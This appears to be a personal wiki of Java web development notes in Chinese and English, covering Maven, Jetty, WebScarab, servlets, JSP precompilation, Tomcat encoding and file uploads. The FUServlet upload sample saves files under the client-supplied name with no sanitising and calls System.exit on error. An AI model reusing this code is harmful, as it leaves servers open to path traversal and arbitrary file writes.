[INFO] Building war: /root/tobala_webapp/target/tobala_webapp.war
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESSFUL
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 9 seconds
[INFO] Finished at: Sun Jun 21 20:01:55 CST 2009
[INFO] Final Memory: 8M/16M
[INFO] ------------------------------------------------------------------------
}}}

Now that we have a WAR file, we would like to be able to run the application. To do this, we simply add the ''Jetty plugin'' to the pom.xml for this web application as shown:
{{{
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
  <modelVersion>4.0.0</modelVersion>
  <groupId>net.tobala</groupId>
  <artifactId>tobala_webapp</artifactId>
  <packaging>war</packaging>
  <version>1.0-SNAPSHOT</version>
  <name>tobala_webapp Maven Webapp</name>
  <url>http://maven.apache.org</url>
  <dependencies>
    <dependency>
      <groupId>junit</groupId>
      <artifactId>junit</artifactId>
      <version>3.8.1</version>
      <scope>test</scope>
    </dependency>
  </dependencies>
  <build>
    <finalName>tobala_webapp</finalName>

    <!-- 加入以下標籤 -->
    <plugins>
        <plugin>
            <groupId>org.mortbay.jetty</groupId>
            <artifactId>maven-jetty-plugin</artifactId>
        </plugin>
    </plugins>

  </build>
</project>
}}}

By adding the plugins entry with the Jetty information, we can now run our web application by simply typing the command as shown below.
{{{
root@tobalaking:~/tobala_webapp# mvn jetty:run
                                              :
                                              :
[INFO] Unable to find resource 'org.mortbay.jetty:start:jar:6.1.16' in repository m1.java.net (http://download.java.net/maven/1)
Downloading: http://repo1.maven.org/maven2/org/mortbay/jetty/start/6.1.16/start-6.1.16.jar
16K downloaded  (start-6.1.16.jar)
[INFO] [jetty:run]
[INFO] Configuring Jetty for project: tobala_webapp Maven Webapp
[INFO] Webapp source directory = /root/tobala_webapp/src/main/webapp
[INFO] Reload Mechanic: automatic
[INFO] web.xml file = /root/tobala_webapp/src/main/webapp/WEB-INF/web.xml
[INFO] Classes = /root/tobala_webapp/target/classes
2009-06-21 20:21:48.075::INFO:  Logging to STDERR via org.mortbay.log.StdErrLog
[INFO] Context path = /tobala_webapp
[INFO] Tmp directory =  determined at runtime
[INFO] Web defaults = org/mortbay/jetty/webapp/webdefault.xml
[INFO] Web overrides =  none
[INFO] Webapp directory = /root/tobala_webapp/src/main/webapp
[INFO] Starting jetty 6.1.16 ...
2009-06-21 20:21:48.453::INFO:  jetty-6.1.16
2009-06-21 20:21:49.030::INFO:  No Transaction manager found - if your webapp requires one, please configure one.
2009-06-21 20:21:50.109::INFO:  Started SelectChannelConnector@0.0.0.0:8080
[INFO] Started Jetty Server
}}}
''[註]'' 停止 Jetty Server 執行, 請按 Ctrl + C

We can now open our web browser to localhost:8080/maven2example_webapp to see our web application

[img[img/maven/mavenwebrun.png]]


官方網站 : http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project

WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols. It is written in Java, and is thus portable to many platforms. WebScarab has several modes of operation, implemented by a number of plugins. In its most common usage, WebScarab operates as an intercepting proxy, allowing the operator to review and modify requests created by the browser before they are sent to the server, and to review and modify responses returned from the server before they are received by the browser. WebScarab is able to intercept both HTTP and HTTPS communication. The operator can also review the conversations (requests and responses) that have passed through WebScarab. 

{{op1{1. 啟動 WebScarab}}}
在 WAR2009 目錄中, 快點二下 ''Java-webscarab.bat'', WebScarab 啟動後如下圖 :

[img[img/http/webscarab.png]]

{{op1{2. 在 Firefox 瀏覽器中, 設定 Proxy}}}

''開啟 Firefox 瀏覽器, 點選 [工具][選項], 出現下圖''

[img[img/http/firefoxproxy01.png]]

''點選 [進階], 然後點選 "連線" 框中的 [設定] 按鈕''

[img[img/http/firefoxproxy02.png]]

''點選 [手動設定 Proxy], 然後輸入 127.0.0.1:8008''

[img[img/http/firefoxproxy03.png]]

{{op1{3. 檢視 HTTP 封包內容}}}

''選擇封包''

[img[img/http/scarabhttp01.png]]

''檢視封包內容 (要求與回覆)''

[img[img/http/scarabhttp02.png]]

<<toBalaNotes "webscarab">>





///%webscarab
//%/
<<forEachTiddler
    where
       'tiddler.tags.contains("文章整理")'

    sortBy
       'tiddler.title.toUpperCase()'

    write '" [["+tiddler.title+" ]] \"view ["+tiddler.title+"]\" [["+tiddler.title+"]] "'

        begin '"<<tabs txtMyAutoTab "'

        end '">"+">"'

        none '"//No tiddler tagged with \"文章整理\"//"'
>>
A web application with a single JSP page and no configured servlets is next to useless. Let’s add a simple servlet to this application and make some changes to the pom.xml and web.xml to support this change. First, we’ll need to create a new package under src/main/java named org.sonatype.mavenbook.web:
{{{
$ mkdir -p src/main/java/org/sonatype/mavenbook/web
$ cd src/main/java/org/sonatype/mavenbook/web
}}}
Once you’ve created this package, change to the src/main/java/org/sonatype/mavenbook/web directory and create a class named SimpleServlet in SimpleServlet.java, which contains the code shown in the SimpleServlet class:

''SimpleServlet Class''
{{{
package org.sonatype.mavenbook.web;

import java.io.*;
import javax.servlet.*;                                                         
import javax.servlet.http.*;

public class SimpleServlet extends HttpServlet {
    public void doGet(HttpServletRequest request,
                      HttpServletResponse response)
        throws ServletException, IOException {
    
        PrintWriter out = response.getWriter();
        out.println( "SimpleServlet Executed" );
        out.flush();
        out.close();
    }
}
}}}
Our SimpleServlet class is just that: a servlet that prints a simple message to the response’s Writer. To add this servlet to your web application and map it to a request path, add the servlet and servlet-mapping elements shown in the following web.xml to your project’s web.xml file. The web.xml file can be found in src/main/webapp/WEB-INF.

''Mapping the Simple Servlet''
{{{
<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
  <display-name>Archetype Created Web Application</display-name>
  <servlet>
    <servlet-name>simple</servlet-name>
    <servlet-class>org.sonatype.mavenbook.web.SimpleServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>simple</servlet-name>
    <url-pattern>/simple</url-pattern>
  </servlet-mapping>
</web-app>
}}}

Everything is in place to test this servlet; the class is in src/main/java and the web.xml has been updated. Before we launch the Jetty plugin, compile your project by running mvn compile:
{{{
~/examples$ mvn compile
...
[INFO] [compiler:compile]
[INFO] Compiling 1 source file to ~/examples/ch05/simple-webapp/target/classes
[INFO] ------------------------------------------------------------------------
[ERROR] BUILD FAILURE
[INFO] ------------------------------------------------------------------------
[INFO] Compilation failure

/src/main/java/org/sonatype/mavenbook/web/SimpleServlet.java:[4,0] \
  package javax.servlet does not exist

/src/main/java/org/sonatype/mavenbook/web/SimpleServlet.java:[5,0] \
  package javax.servlet.http does not exist

/src/main/java/org/sonatype/mavenbook/web/SimpleServlet.java:[7,35] \
  cannot find symbol
  symbol: class HttpServlet
  public class SimpleServlet extends HttpServlet {

/src/main/java/org/sonatype/mavenbook/web/SimpleServlet.java:[8,22] \
  cannot find symbol
  symbol  : class HttpServletRequest
  location: class org.sonatype.mavenbook.web.SimpleServlet

/src/main/java/org/sonatype/mavenbook/web/SimpleServlet.java:[9,22] \
  cannot find symbol
  symbol  : class HttpServletResponse
  location: class org.sonatype.mavenbook.web.SimpleServlet

/src/main/java/org/sonatype/mavenbook/web/SimpleServlet.java:[10,15] \
  cannot find symbol
  symbol  : class ServletException
  location: class org.sonatype.mavenbook.web.SimpleServlet
}}}
The compilation fails because your Maven project doesn't have a dependency on the Servlet API. In the next section, we'll add the Servlet API to this project's POM. 

To write a servlet, we’ll need to add the Servlet API as a project dependency. To add the Servlet specification API as a dependency to your project’s POM, add the dependency element as shown in this next example:

''Add the Servlet 2.4 Specification as a Dependency''
{{{
<project>
  [...]
  <dependencies>
    [...]
    <dependency>
      <groupId>javax.servlet</groupId>
      <artifactId>servlet-api</artifactId>
      <version>2.4</version>
      <scope>provided</scope>
    </dependency>
  </dependencies>
  [...]
</project>
}}}

It is also worth pointing out that we have used the provided scope for this dependency. This tells Maven that the jar is "provided" by the container and thus should not be included in the war. If you were interested in writing a custom JSP tag for this simple web application, you would need to add a dependency on the JSP 2.0 spec. Use the configuration shown in this example:

''Adding the JSP 2.0 Specification as a Dependency''
{{{
<project>
  [...]
  <dependencies>
    [...]
    <dependency>
      <groupId>javax.servlet.jsp</groupId>
      <artifactId>jsp-api</artifactId>
      <version>2.0</version>
      <scope>provided</scope>
    </dependency>
  </dependencies>
  [...]
</project>
}}}

Once you've added the Servlet specification as a dependency, run mvn clean install followed by mvn jetty:run.
{{{
[tobrien@t1 simple-webapp]$ mvn clean install
...
[tobrien@t1 simple-webapp]$ mvn jetty:run
[INFO] [jetty:run]
...
2007-12-14 16:18:31.305::INFO:  jetty-6.1.6rc1
2007-12-14 16:18:31.453::INFO:  No Transaction manager found 
2007-12-14 16:18:32.745::INFO:  Started SelectChannelConnector@0.0.0.0:8080
[INFO] Started Jetty Server
}}}
At this point, you should be able to retrieve the output of the SimpleServlet. From the command line, you can use curl to print the output of this servlet to standard output:
{{{
~/examples$ curl http://localhost:8080/simple-webapp/simple
}}}



{{item1{ModelBean.java}}}
{{{
public class ModelBean{

    private String firstName;
    private String lastName;
    private String email;
    private String phone;

    public String getFirstName(){
        return fixNull(this.firstName);
    }

    public void setFirstName(String firstName){
        this.firstName = firstName;
    }

    public String getLastName(){
        return fixNull(this.lastName);
    }

    public void setLastName(String lastName){
        this.lastName = lastName;
    }

    public String getEmail(){
        return fixNull(this.email);
    }

    public void setEmail(String email){
        this.email = email;
    }


    public String getPhone(){
        return fixNull(this.phone);
    }

    public void setPhone(String phone){
        this.phone = phone;
    }
    
    private String fixNull(String in){
        return (in == null) ? "" : in;
    }

    public String getMessage(){
        
        return "\nFirst Name: " + getFirstName() + "\n"
             +   "Last Name:  " + getLastName()  + "\n"
             +   "Email:      " + getEmail()     + "\n"
             +   "Phone:      " + getPhone()     + "\n";
    }
}
}}}
<<toBalaNotes "model">>


///%model
//%/
We're using both Apache Tomcat 6.0 and Jetty 6 where I work. We mostly use Jetty for testing (it's great for running embedded in JUnit tests) and Tomcat for production.

By default, Tomcat compiles JSPs on-the-fly as users request them. But this results in degraded performance for the first hit. It also highlights bizarre bugs in Tomcat's JSP compiler.

The Tomcat documentation gives recommendations for pre-compiling JSPs at build time using Ant (and a Maven plugin is also available)... but the resulting WAR contains Tomcat-specific stuff e.g. PageContextImpl.proprietaryEvaluate, so we can't use it in Jetty.

Is there some flag or setting we can use somewhere to force Tomcat to precompile all JSPs as soon as the WAR is initialized? We're prepared to wait a little longer on startup for this.

In advance: I know there's a way to pre-compile exactly one JSP by explicitly identifying a /servlet/load-on-startup tag in web.xml for one JSP. But for dozens or even hundreds of JSPs that becomes unmanageable.





-------

Release 3.1 of the Jakarata Tomcat JSP server (found at jakarta.apache.org) includes a JSP compiler (JSPC) that does exactly this. You can specify either a web application directory or a specific jsp file to compile.

to emulate the tomcat naming, try the following ant tasks, in between <jspc> and <javac> tasks
{{{
<move todir="${tempdir}">
<fileset dir="${jspdest}">
<include name="**/*.java"/>
<exclude name="**/*$jsp.java"/>
</fileset>
<mapper type="glob" from="*.java"
to="*$jsp.java"/>
</move>

<move todir="${jspdest}">
<fileset dir="${tempdir}">
<include name="**/*$jsp.java"/>
</fileset>
</move>
}}}

<<toBalaNotes "jspc">>






Some JSP containers (as per section 8.4.2 of the JSP 1.2 specification) support the capability of precompiling a JSP page.

To precompile a JSP page, access the page with a query string of ?jsp_precompile
{{{
http://hostname.com/mywebapp/mypage.jsp?jsp_precompile
}}}
The JSP page will not be executed. If the container supports precompilation, the JSP page will be compiled if necessary.

Here a JSP page that will scan the current directory (and subdirectories) to precompile all JSP found.
{{{
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.servlet.*"%>
<%@ page import="javax.servlet.http.*,javax.servlet.jsp.*"%>
<%@ page import="java.util.Set,java.util.Iterator,java.io.IOException"%>

<%! private void compileAllJsps
     (PageContext pageContext, JspWriter out,
      HttpServletRequest request,HttpServletResponse response, 
      String uripath)
         throws IOException, ServletException {

     Set set = pageContext.getServletContext().getResourcePaths(uripath);
     for (Iterator iter = set.iterator(); iter.hasNext();) {
         String uri = (String) iter.next();
         if (uri.endsWith(".jsp")) {
             out.write("<li>"+ uri +"</li>");
             out.flush();
             RequestDispatcher rd = 
                getServletContext().getRequestDispatcher(uri);
             if (rd == null) {
                 throw new Error(uri +" - not found");
                 }
             rd.include(request, response);
         }
         else if (uri.endsWith("/")) {
             compileAllJsps(pageContext, out, request, response, uri); 
         }
     }
   }
%>

<html><head><title>Precompiling *.JSPs</title></head>
<body><h4>Precompiling *.JSPs:</h4>
<ul>
<%
  HttpServletRequest req = new HttpServletRequestWrapper(request) {
      public String getQueryString() {
          // can be "jsp_precompile=true"
          return "jsp_precompile";
          };
  };
  compileAllJsps(pageContext, out, req, response, "/");
%>
</ul>
<h4>Done.</h4>
</body> </html>
}}}



///%jspc
//%/
[img[img/servlet/servletobject02.png]]

<<toBalaNotes "servletobj02">>


///%servletobj02
//%/
網址中含有非英文字母,目前的瀏覽器都已經可以順利處理無誤, 但應用軟體則不一定能處理中文網址,因此需要重新編碼:percent-encoding,或稱為URL encoding

例如說 : 本部落格的標籤 「fun~生活樂趣」其網址是 http://willersbig5.blogspot.com/search/label/fun~生活樂趣

但是你把他貼到某些軟體(例如BBS上)無法支援中文超連結的部, 就要把「生活樂趣」轉成 %E7%94%9F%E6%B4%BB%E8%B6%A3%E8%81%9E, 這樣猜才能連接

{{item1{淺談在 JavaScript 中的 URLEncode 動作}}}
當我們在打算用 JavaScript 動態組成一個網址的時候,常會用 JavaScript 中的 escape() 函數,但其實這個函數是有那麼一點點問題的,尤其是在 UTF-8 的頁面中!

例如說「常見的 ASP.NET 開發錯誤」這段字串,在頁面中使用「escape('常見的 ASP.NET 開發錯誤')」就會變成:

    %u5E38%u898B%u7684%20ASP.NET%20%u958B%u767C%u932F%u8AA4

但正確來說,應該是底下這段比較正確:

    %E5%B8%B8%E8%A6%8B%E7%9A%84%20ASP.NET%20%E9%96%8B%E7%99%BC%E9%8C%AF%E8%AA%A4

話說回來,這兩段的意思是一樣的,也沒有對錯的問題,只是編碼的表示方式不同而已,不過用 %uXXXX 的這種格式有些程式語言(e.g. PHP)是無法正確解析的,所以相容性並不高。

比較正確的用法應該是用 encodeURI() 或 encodeURIComponent() 這個函數,編碼出來的結果就會是正確的了!! 

<<toBalaNotes "1">>


///%1
//%/
本文網址 : http://en.wikipedia.org/wiki/MIME#Multipart_Example

Multipurpose Internet Mail Extensions (MIME) is an Internet standard that extends the format of e-mail to support:
{{{
* Text in character sets other than ASCII
* Non-text attachments
* Message bodies with multiple parts
* Header information in non-ASCII character sets
}}}
MIME's use, however, has grown beyond describing the content of e-mail to describing content type in general, including for the web (see Internet media type).

Virtually all human-written Internet e-mail and a fairly large proportion of automated e-mail is transmitted via SMTP in MIME format. Internet e-mail is so closely associated with the SMTP and MIME standards that it is sometimes called SMTP/MIME e-mail.[1]

The content types defined by MIME standards are also of importance outside of e-mail, such as in communication protocols like HTTP for the World Wide Web. HTTP requires that data be transmitted in the context of e-mail-like messages, although the data most often is not actually e-mail.

MIME is specified in six linked RFC memoranda: RFC 2045, RFC 2046, RFC 2047, RFC 4288, RFC 4289 and RFC 2049, which together define the specifications.

''[註]'' 上載檔案到 Servlet, 使用 MIME 的 Multipart 格式

<<toBalaNotes "mime">>



///%mime
//%/
{{{
import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
 
public class testcht extends HttpServlet {
  public void doGet(HttpServletRequest request,HttpServletResponse response)
    throws ServletException, IOException {
        
        response.setContentType("text/html; charset=UTF-8");   

        /* 
           setCharacterEncoding 這方法的設定會蓋掉 setContentType 的 charset 設定值,
           前端瀏覽器會根據此設定來決定網頁的編碼
        
           範例 : 
               response.setCharacterEncoding("Big5");
        */
 
        PrintWriter out = response.getWriter();
 
        out.println("<body><h1>中文測試</h1></body>");
 
  }
}
}}}

{{item1{Tomcat Post / Get 中文編碼處理方法 (中文亂碼問題)}}}
本文網址 : http://minchuanwang.blogspot.com/2009/03/tomcat-post-get.html

最近在把原本佈署在 Resin 的 Java Web Application移植到 Tomcat 時,有許多原本正常的中文get / post 功能,都變的異常,只要是透過 get / post 得到的資料,就會變亂碼

剛好也驗證了 Resin 在Character Encoding的部分做的較好, 而看看網路上大家的問題,也可以知道 Tomcat 在編碼處理的部分 真是讓很多人頭痛

主要的原因是,TOMCAT 預設都是用 ISO-8859-1 的編碼方式來傳遞資訊

這個問題,可以解決的方式整理如下:

1. JSP 頁面的編碼宣告需與實際儲存檔案時用的編碼一致

這是個很好玩的問題~ 有些人 在頁面宣告用 big5 or UTF-8 or... 字集, 但是,檔案實際儲存的方式與該編碼不同,則 頁面當然會出現亂碼的問題

2. 自行轉碼
form method=POST or GET 時 因為Tomcat預設編碼是ISO-8859-1的關係, 直接用 <%=request.getParameter("firstname")%> 取值,中文字會變亂碼 (你傳的明明是UTF-8, 但是讀取時 確用 ISO-8859-1來解譯.. 當然有問題囉), 要使用 <%=new String(request.getParameter("firstname").getBytes( "ISO-8859-1"), "UTF-8")%>這種方式 來轉換編碼才會正常 (假設,頁面用的編碼為UTF-8時)

3. 透過設定 server.xml URIEncoding的方式 來處理 GET 亂碼問題
在 tomcat 的設定檔內 ./conf/server.xml 修改下列設定的話,則透過GET的方式傳遞參數的話,Tomcat會用你指定的編碼方式來對待用get方法傳遞的參數,而不是使用預設的ISO-8859-1 (get 的方式是透過 url parameter傳遞參數) 但是,因為只處理URIEncoding, 所以若使用 Post 傳遞,還是會有問題


URIEncoding: This specifies the character encoding used to decode the URI bytes, after %xx decoding the URL. If not specified, ISO-8859-1 will be used.

P.S. 若使用 GET Method, 且設定了URIEncoding 的話就不用再做上述二的自行轉碼動作,如果多加該處理,一樣會有亂碼的問題

4. 使用 request.setCharacterEncoding 來處理 GET / POST 的亂碼問題
在處理的頁面,加上下列的處理即可,明確的告訴Tomcat request的編碼為何,不要一廂情願的使用ISO-8859-1來解讀~
{{{
<%request.setCharacterEncoding("UTF-8");%>

javax.servlet.servletRequest.setCharacterEncoding(string env)
Overrides the name of the character encoding used in the body of this request. This method must be called prior to reading request parameters or reading input using getReader(). Otherwise, it has no effect.
}}}

5. 使用 filter 來處理 GET / POST 的亂碼問題
這個方法是最方便的,只要在 web.xml 裡面 透過 filter 的設定,讓每個網頁都能透過 filter 的處理一體適用所有編碼問題的解決
方法如下:

a. 目前 Tomcat 提供的範例裡面,就有現成的 Encoding Filter, 位置如下:
{{{
.\Tomcat 6.0\webapps\examples\WEB-INF\classes\filters\SetCharacterEncodingFilter.class
}}}

b. 所以,只要把該 class 檔,copy 到你的 web application 的 .\WEB-INF\classes\filter 下,再搭配 web.xml 的filter 設定,
就可以讓所有符合 url pattern 的網頁,都能自動apply所想要的編碼設定(透過 encoding這個 parameter來設定),是不是很方便呢 ?
(這個功能 就像是自動把上述第四點的 setCharacterEncoding 語句 自動apply到各頁面囉)

------------
以上~ 就從 Resin Porting 到 Tomcat 的經驗,當然是使用 filter 的方式 一次解決~ 不然的話 就得每個網頁每個網頁去改囉~

延伸資料:
FAQ/CharacterEncoding
http://jim.blogsome.com/2005/05/27/jsp-chinese-character-solution/
http://www.javaworld.com.tw/confluence/pages/viewpage.action?pageId=752
{{item1{index.html}}}
{{{
<html>
  <head>
    <title>
      Simple MVC
    </title>
  </head>
  <body>
    <h2>Simple MVC</h2>
    <br />
    Click the following link to run the Simple MVC example:
    <a href="simple-mvc">simple-mvc</a>
  </body>
</html>
}}}

{{item1{view.jsp}}}
{{{
<html>
  <head>
    <title>Simple MVC</title>
  </head>
  <body>
    <h2>Simple MVC</h2>  
    <form method="post" action="simple-mvc">
      <table>
        <tr>
          <td>
            First Name:
          </td>
          <td>
            <input type="text" 
                   name="first_name" 
                   value="${modelBean.firstName}" />
          </td>
        </tr>
        <tr>
          <td>
            Last Name:
          </td>
          <td>
            <input type="text" 
                   name="last_name" 
                   value="${modelBean.lastName}" />
          </td>
        </tr>
        <tr>
          <td>
            Email:
          </td>
          <td>
            <input type="text" 
                   name="email" 
                   value="${modelBean.email}" />
          </td>
        </tr>
        <tr>
          <td>
            Phone:
          </td>
          <td>
            <input type="text" 
                   name="phone"
                   value="${modelBean.phone}" />
          </td>
        </tr>
        <tr>
          <td>
            <input type="submit" name="enter_button" value="Enter" />
          </td>
          <td>
          </td>
        </tr>
      </table>
    </form>
    <pre>
      ${modelBean.message}
    <pre>
  </body>
</html>
}}}
<<toBalaNotes "view">>



///%view
//%/

{{item1{web.xml}}}
{{{
<?xml version="1.0" encoding="ISO-8859-1"?>
<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
    version="2.4">

    <servlet>
        <servlet-name>ControllerServlet</servlet-name>
        <servlet-class>us.souther.simple.mvc.ControllerServlet</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>ControllerServlet</servlet-name>
        <url-pattern>/simple-mvc</url-pattern>
    </servlet-mapping>

</web-app>
}}}
<<toBalaNotes "dd">>

///%dd
//%/
{{item1{使用 Apache FileUpload}}}
官方網站 : http://commons.apache.org/fileupload/using.html

FileUpload can be used in a number of different ways, depending upon the requirements of your application. In the simplest case, you will call a single method to parse the servlet request, and then process the list of items as they apply to your application. At the other end of the scale, you might decide to customize FileUpload to take full control of the way in which individual items are stored; for example, you might decide to stream the content into a database.

Here, we will describe the basic principles of FileUpload, and illustrate some of the simpler - and most common - usage patterns. Customization of FileUpload is described elsewhere .

FileUpload depends on ''Commons IO'', so make sure you have the version mentioned on the dependencies page in your classpath before continuing.

''[註]'' FileUpload 必須配合 [[Commons IO|http://commons.apache.org/io/]] 套件, 才能執行

{{op1{How it works}}}
A file upload request comprises an ordered list of items that are encoded according to RFC 1867 , "Form-based File Upload in HTML". FileUpload can parse such a request and provide your application with a list of the individual uploaded items. Each such item implements the FileItem interface, regardless of its underlying implementation.

This page describes the traditional API of the commons fileupload library. The traditional API is a convenient approach. However, for ultimate performance, you might prefer the faster Streaming API .

Each file item has a number of properties that might be of interest for your application. For example, every item has a name and a content type, and can provide an InputStream to access its data. On the other hand, you may need to process items differently, depending upon whether the item is a regular form field - that is, the data came from an ordinary text box or similar HTML field - or an uploaded file. The FileItem interface provides the methods to make such a determination, and to access the data in the most appropriate manner.

FileUpload creates new file items using a FileItemFactory. This is what gives FileUpload most of its flexibility. The factory has ultimate control over how each item is created. The factory implementation that currently ships with FileUpload stores the item's data in memory or on disk, depending on the size of the item (i.e. bytes of data). However, this behavior can be customized to suit your application.

''[註] Apache commons 套件只負責接收前端上載的檔案資料, 而不負責在後端系統存取檔案, 存取檔案則由 Servlet 自行負責''

<<toBalaNotes "fupload">>

{{op1{網頁 : FileUpload.html}}}
{{{
<html>
<body>
<FORM ENCTYPE='multipart/form-data' method='POST' action='FU.do'>
<INPUT TYPE='file' NAME='theFile1'><br/>
<INPUT TYPE='file' NAME='theFile2'><br/>
<INPUT TYPE='submit' VALUE='上傳'>
</FORM>
</body>
</html> 
}}}

[註] 上載檔案到 Servlet, 使用 MIME 的 Multipart 格式

{{op1{Servlet 程式 : FUServlet}}}
{{{
import javax.servlet.Servlet;
import javax.servlet.ServletException;
import java.util.*;
import java.io.*;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import org.apache.commons.fileupload.*; 
import org.apache.commons.fileupload.disk.DiskFileItemFactory;  
import org.apache.commons.fileupload.servlet.ServletFileUpload;  

public class FUServlet extends HttpServlet {

  public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

    List fileItems = null;

    // Create a factory for disk-based file items
    DiskFileItemFactory factory = new DiskFileItemFactory();

    // Sets the directory used to temporarily store files that are larger 
    // than the configured size threshold.
    factory.setRepository(new File("c:\\temp"));

    // Sets the size threshold beyond which files are written directly to disk.
    factory.setSizeThreshold(4096);

    // Create a new file upload handler
    ServletFileUpload upload = new ServletFileUpload(factory);

    // Set overall request size constraint
    upload.setSizeMax(5000000);

    try {
      fileItems = upload.parseRequest(req);
    } catch (FileUploadException e) {
      e.printStackTrace();
      System.exit(1);
    }
    Iterator i = fileItems.iterator();
    while (i.hasNext()) {
         FileItem fi = (FileItem)i.next();
         String fileName = fi.getName();   

	  File f = new File("c:\\"+fileName);
          try {
              fi.write(f);                                //將檔案寫到磁碟
	      System.out.println("儲存 : c:\\" + fileName);
          } catch (Exception e1) {
              e1.printStackTrace();
          }
    }
  }
}

}}}

{{item1{使用 com.oreilly.servlet 網站的 MultipartRequest 類別}}}

{{op1{(1) 前置作業}}}
由 O'Reilly company 提供的 API,必須到他們的網站上把 package 下載回來:

http://www.servlets.com/cos/index.html

在此網頁的最下方,有一個 cos-26Dec2008.zip 的連結,

下載回來之後會發現是個 zip 檔案,將此壓縮檔裡面的 lib/cos.jar 檔案解壓縮出來,

並且複製此檔案到兩個地方:

[1] %JAVA_HOME%/jre/lib/ext 底下,(compilation time)

[2] java servlet/JSP 所在的 webapp資料夾裡面的 WEB-INF/lib 底下。(runtime)

 
{{op1{(2) coding time}}}
再來當然就是 coding 囉。

這裡可以分成兩個部份:

第一:給 client 端的 html 表單部份。
一般在 html 裡面,想要讓 client 傳遞資料,都是透過表單 (form),而上傳檔案也不例外。

最 classic 的做法為:
{{{
<form method="POST" action="" enctype="multipart/form-data" >

<input type="file" name="file"/>

<input type="submit" value="upload!"/>

</form>
}}}
在這裡值得注意的是,表單的 enctype 屬性:必須設定成 "multipart/form-data",而提供給 client 選擇檔案的 input 控制項,必須將 type 屬性設定成 "file"。

第二:給 server 端的處理程式

想要處理由 client 端傳來的檔案,必須使用 O'Reilly 負責檔案處理的 MultipartRequest 物件。這個物件的 constructor 有好多種,常用的一種如下:
{{{
MultipartRequest(request , saveDirectory, maxFileSize, "MS950");
}}}
這四個 parameters 的用處分別為:

[1] request: Java Servlet 的 HttpRequest 物件。

[2] saveDirectory: 型態為 String,指的是由 client 端上傳的檔案之後,在 server 要將此檔案儲存的資料夾路徑。例如 "C:/files"。

[3] maxFileSize: 型態為 int,指的是 client 端上傳的檔案大小限制,單位為 byte。

[4] "MS950": 文字編碼,有時檔案會以中文命名,正體中文為 "MS950",一般英文則為 "ISO-8859-1"。


所以,基本上只要一行就好了:
{{{
MultipartRequest mr = new MultipartRequest(request , "C:/files", 5*1024*1024, "MS950");
}}}
執行完此行,MultipartRequest 物件就會自動的把隱含在 request 的檔案儲存到第二個字串的位置。

如果還想要知道這些檔案的其他資訊,

請參考:http://www.servlets.com/cos/javadoc/com/oreilly/servlet/MultipartRequest.html

 

///%fupload
//%/
{{op1{web.html}}}
{{{
<html>
<script type="text/javascript">

var xmlHttp;

function createXMLHttpRequest()
{
if(window.ActiveXObject)
{
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}
else if (window.XMLHttpRequest)
{
xmlHttp = new XMLHttpRequest();
}
}

function doGetCount()
{
var URL="http://localhost:8888/MailList/count"

createXMLHttpRequest();

xmlHttp.onreadystatechange = handleStateChange;
xmlHttp.open("POST",URL,true);
xmlHttp.send(null);

}

function handleStateChange()
{
if(xmlHttp.readyState == 4)
if (xmlHttp.status == 200 )
setimg();
}

function setimg()
{
var count = xmlHttp.responseText;

var str ="";
var lh=count.length;
str = str + "<img src="+count.substring(0,1)+".png />";
str = str + "<img src="+count.substring(1,2)+".png />";
str = str + "<img src="+count.substring(2,3)+".png />";
str = str + "<img src="+count.substring(3,4)+".png />";
str = str + "<img src="+count.substring(4,5)+".png />";
str = str + "<img src="+count.substring(5,6)+".png />";
str = str + "<img src="+count.substring(6,7)+".png />";
document.getElementById("results").innerHTML = str;
str="";
}

//window.attachEvent("onload", correctPNG);

</script>
<body onload="doGetCount();">

<div id="results"></div>
</body>

</html>
}}}

{{op1{Web_count.java}}}
{{{
import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
import java.util.*;
import java.io.IOException;

 

public class Web_count extends HttpServlet {


public void init(ServletConfig config) throws ServletException {
super.init(config);

}
public void doGet(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException {
doPost(req, res);
}
public void doPost(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException {
HttpSession session = req.getSession(true);


if (!session.isNew())
{
Date halfAgo =new Date((long)(System.currentTimeMillis()-0.5*60*60*1000));
Date create = new Date(session.getLastAccessedTime());

if (create.before(halfAgo))
{
session.invalidate();
session=req.getSession(true);

}

}

Integer count = (Integer)(session.getAttribute("tracker.count"));
if (count == null)
{
count = new Integer(got_count("c:/"));


}

session.setAttribute("tracker.count", (Object)(count));
String str= new String((session.getAttribute("tracker.count")).toString());
res.getWriter().write(new String("0000000"+str).substring(("0000000"+str).length()-7,("0000000"+str).length()));



}
public void destroy(){

super.destroy();
}
public String getServletInfo() {
return "Servlet Call Test";
}

private int got_count(String url)
{

System.out.println(url);
File f = new File(url,"count.txt");
String str = "0";
try
{

if (f.exists()== false)
{
f.createNewFile();
FileWriter fo = new FileWriter(f);
fo.write("0".toString());
fo.close();
}
FileReader fi = new FileReader(f);
StringBuffer sb = new StringBuffer("");
int ch = 0;
while((ch=fi.read()) != -1){
sb.append((char)(ch));
}
fi.close();
f = null;


str = new String(String.valueOf(Integer.parseInt(sb.toString()) +1));

FileWriter fw = new FileWriter(url+"count.txt");

fw.write(str);

fw.close();

f=null;
}
catch (Exception e)
{
System.out.println(e.toString());
}

return Integer.parseInt(str.toString());
}

}
}}}
